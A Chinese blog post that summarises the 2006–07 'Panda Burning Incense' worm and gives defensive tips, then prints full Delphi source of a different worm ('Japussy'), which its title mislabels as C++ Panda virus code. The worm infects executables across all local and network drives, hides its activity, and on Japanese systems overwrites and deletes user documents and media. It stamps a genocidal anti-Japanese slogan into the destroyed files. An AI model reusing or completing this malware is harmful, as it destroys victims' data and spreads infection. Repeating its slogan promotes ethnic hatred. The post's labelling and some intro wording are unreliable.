福利来啦!C++熊猫烧香病毒源代码(附有熊猫烧香病毒介绍和解决方法)

  • Post author:
  • Post category:其他


病毒介绍:

“熊猫烧香”,是由

李俊

制作并肆虐网络的一款

电脑病毒

,熊猫烧香跟

灰鸽子

不同,是一款拥有自动传播、自动感染

硬盘

能力和强大的破坏能力的

病毒

,它不但能感染系统中

exe



com



pif



src



html



asp

等文件,它还能终止大量的反病毒软件进程并且会删除

扩展名



gho

的文件(该类文件是一系统备份工具“

GHOST

”的备份文件,删除后会使

用户

的系统备份文件丢失)。

被感染的用户系统中所有.

exe

可执行文件全部被改成熊猫举着三根香的模样。2006年10月16日由25岁的湖北

武汉

新洲区人

李俊

编写,2007年1月初肆虐网络,它主要通过下载的文件传染。2007年2月12日,

湖北省公安厅

宣布,

李俊

以及其同伙共8人已经落网,这是中国警方破获的首例

计算机病毒

大案。2014年,张顺、李俊被法院以

开设赌场罪

分别判处有期徒刑五年和三年,并分别处罚金20万元和8万元。

中文名        熊猫烧香                                        感染系统        Win9x/NT/2000/ME/

XP

/2003/

Vista

外文名        Worm.WhBoy.cw                           制作人

李俊

程序类别

蠕虫病毒

泛滥时间         2006年底—2007年初

病毒类型         蠕虫病毒新变种类

解决办法:



1

】 检查本机

administrator

组成员口令,一定要放弃简单口令甚至空口令,安全的口令是字母数字特殊字符的组合,自己记得住,别让病毒猜到就行。


(修改方法:

右键单击我的电脑,选择管理,浏览到

本地用户和组

,在右边的窗格中,选择具备管理员权限的用户名,单击右键,选择设置密码,输入新密码就行。)

【2】 利用

组策略

,关闭所有

驱动器

的自动播放功能。


  • 步骤1

单击开始,运行,输入

gpedit.msc

,打开组策略

编辑器

,浏览到计算机配置,管理模板,系统,在右边的窗格中选择关闭自动播放,该配置缺省是未配置,在下拉框中选择所有驱动器,再选取已启用,确定后关闭。最后,在开始,运行中输入gpupdate,确定后,该策略就生效了。

【3】 修改

文件夹选项

,以查看不明文件的真实属性,避免无意双击骗子程序中毒。


  • 步骤2

打开

资源管理器

(按windows徽标键+E),点工具菜单下文件夹选项,再点查看,在高级设置中,选择查看所有文件,取消隐藏受保护的操作系统文件,取消隐藏文件扩展名。

【4】 时刻保持操作系统获得最新的安全更新,不要随意访问来源不明的网站,特别是微软的

MS06-014

漏洞,应立即打好该漏洞补丁。

同时,QQ、

UC

的漏洞也可以被该病毒利用,因此,用户应该去他们的官方网站打好最新补丁。此外,由于该病毒会利用IE浏览器的漏洞进行攻击,因此用户还应该给IE打好所有的补丁。如果必要的话,用户可以暂时换用Firefox、Opera等比较安全的浏览器。

【5】 启用Windows

防火墙

保护本地计算机。同时,局域网用户尽量避免创建可写的共享目录,已经创建共享目录的应立即停止共享。

此外,对于未感染的用户,病毒专家建议,不要登录不良网站,及时下载微软公布的最新补丁,来避免病毒利用漏洞袭击用户的电脑,同时上网时应采用“杀毒软件+防火墙”的立体防御体系。








防御方法

在2007年新年出现的“PE_FUJACKS”就是一种让广大互联网用户闻之色变的“熊猫烧香”。该病毒的作者为“武汉男生”(文件末签名”WhBoy”),这个版本的病毒已经集成了PE_FUJA CK和QQ大盗的代码,通过网络共享,文件感染和移动存储设备传播,尤其是感染网页文件,并在网页文件写入自动更新的代码,一旦浏览该网页,就会感染更新后的变种。

不幸中招的用户都知道,“熊猫烧香”会占用局域网带宽,使得电脑变得缓慢,计算机会出现以下症状:熊猫烧香病毒会在网络共享文件夹中生成一个名为GameSetup.exe的病毒文件;结束某些应用程序以及防毒软件的进程,导致应用程序异常,或不能正常执行,或速度变慢;

硬盘分区

或者U盘不能访问使用;exe程序无法使用程序图标变成熊猫烧香图标;硬盘的根目录出现setup.exe auturun.INF文件 ;同时浏览器会莫名其妙地开启或关闭。

该病毒主要通过浏览恶意网站、网络共享、文件感染和移动存储设备(如U盘)等途径感染,其中网络共享和文件感染的风险系数较高,而通过Web和移动存储感染的风险相对较低。该病毒会自行启动安装,生成注册列表和病毒文件%System%\drivers\spoclsv.exe ,并在所有磁盘跟目录下生成病毒文件

setup.exe

,

autorun.inf

应用统一变为熊猫烧香的图标其实就是在注册表的

HKEY_CLASSES_ROOT

这个分支中写入了一个值,将所有的EXE文件图标指向一个

李俊

,所以一般只要删除此值,改回原貌就可以了。

——————————————

以上资源来自

百度百科

以下是熊猫烧香病毒源代码:

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量


//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量


{
HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量


//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}
IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记


//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明

var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?

end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头

begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin
IsPE := True; //是PE文件

Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染

Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记

DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;
end;
except;
end;
end;

{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try
Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数

if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件

end;
DeleteFile(PChar(FileName)); //删除之

except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母

begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录

else Result := 2; //是根目录

end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件

end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end
else if Ext = '.WAB' then //Outlook地址簿文件

begin
//获取Outlook邮件地址

end
else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin
//获取Foxmail邮件地址

end
else if Ext = 'IND' then //Foxmail地址簿文件

begin
//获取Foxmail邮件地址

end
else
begin
if IsJap then //是倭文操作系统

begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件

end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);
while True do //死循环

begin
for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList[i] + ':', '*.*'); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin
//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;
//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin
TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;
end.



版权声明:本文为JX_HK原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。